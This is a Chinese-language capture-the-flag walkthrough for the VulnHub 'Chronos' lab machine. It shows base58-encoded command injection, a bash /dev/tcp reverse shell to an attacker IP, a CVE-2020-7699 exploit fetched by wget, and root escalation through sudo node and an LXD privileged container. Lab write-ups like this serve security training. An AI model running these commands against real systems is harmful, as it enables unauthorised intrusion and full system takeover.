準備:
攻擊機:虛擬機器kali、本機win10。
靶機:Chronos,下載地址:https://download.vulnhub.com/chronos/Chronos.ova,下載後直接vbox開啟即可。
知識點:lxd提權、node提權、dns解析、命令執行漏洞、base58解密、CVE-2020-7699漏洞。
資訊收集:
透過nmap掃描下網段內的存活主機地址,確定下靶機的地址:nmap -sn 192.168.110.0/24,獲得靶機地址:192.168.110.82。
掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.168.110.82,顯示開放了22、80、8000埠,開啟了ssh、http服務。
使用dirmap、dirsearch進行目錄掃描,均未發現有效的目錄資訊。
DNS解析:
在檢查:http://192.168.110.82/的原始碼資訊時,發現一個連結:http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL,觀察到:chronos.local,就想到要進行dns解析。win:開啟C:\Windows\System32\drivers\etc\hosts檔案,新增:192.168.110.82 chronos.local,但是訪問還是顯示被禁止。
bp抓包分析:
使用bp抓包訪問:http://192.168.110.82/,發現在訪問http://chronos.local:8000/date時,其User-Agent被修改成立Chronos,經驗證這就是上面被禁止的原因。
後面直接訪問:http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL進行抓包並修改User-Agent為:Chronos,可以正常訪問。
命令執行:
傳遞的加密字串疑是base64加密,但是經過base64、base32解密均失敗,最後base58解密成功,解密後資訊:'+Today is %A, %B %d, %Y %H:%M:%S.',根據解密後的資訊猜測應該是執行的date命令。
那我們利用&、;、|等符號來執行我們自己的命令,例如:;ls,base58加密後:Lxfc,獲得當前目錄資訊
獲取shell:
利用命令執行漏洞獲取shell許可權,透過執行命令:bash -c 'bash -i >& /dev/tcp/192.168.110.234/6688 0>&1'來獲取shell許可權,base58加密後:2cH1gSRr9UAWvT31knR5Zo6eraKZs1x1qGWATRGhQphNCQp9QsUUjujayt3uEUnorRYYh5eBnppq4,在kali端開啟對6688埠的監聽:nc -lvvp 6688,成功獲得shell許可權。
提權至imera:
在當前使用者目錄下進行資訊查詢,經過一番查詢在/opt/chronos-v2/backend目錄下面發現靶機上開啟了第二個服務並且該服務中疑是存在檔案上傳漏洞。
在網上查詢時發現該漏洞編號為:CVE-2020-7699,那就查詢下該漏洞的exp,可以在:https://github.com/boiledsteak/EJS-Exploit/blob/main/attacker/EJS-RCE-attack.py或者https://blog.p6.is/Real-World-JS-1/等網站均可以。
將py程式碼下載複製下來儲存到kali中,然後使用python開啟http服務:python -m http.server,在把靶機中下載該檔案,命令:wget http://192.168.110.234:8000/express-fileupload.py。
在kali中開啟對8899埠的監聽:nc -nvlp 8899,然後在靶機中執行express-fileupload.py檔案,命令:python3 express-fileupload.py,成功獲得imera賬戶的shell許可權,如果未獲得許可權多執行幾次,測試兩次均是執行 三次才獲得imera的shell許可權。
在/home/imera賬戶下發現user.txt檔案並讀取flag資訊。
提權至root-node提權:
檢視下當前賬戶是否存在可以使用的特權命令,sudo -l,顯示存在npm命令和node命令。
查詢下node命令的提權方法,命令:sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})',即可獲得root許可權,然後在/root目錄下發現root.txt檔案並讀取flag值。
提權至root-lxd提權:
在獲得imera賬戶許可權的時候,我們發現該賬戶具有lxd許可權,那也可以採用lxd提權方式進行提權。
首先在這個網站:https://github.com/saghul/lxd-alpine-builder.git下載tar.gz檔案並上傳到靶機,命令:wget http://192.168.110.234:8000/lxd/alpine-v3.13-x86_64.tar.gz。然後在依次執行如下命令,即可成功獲得root許可權。
lxc image import ./alpine-v3.13-x86_64.tar.gz --alias myimage
lxd init #基本預設配置,進行回車就行
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
獲得root許可權後進入root目錄:cd /mnt/root/root,發現root.txt檔案並讀取flag值。
補充:
在使用npm進行提權時是提權失敗的。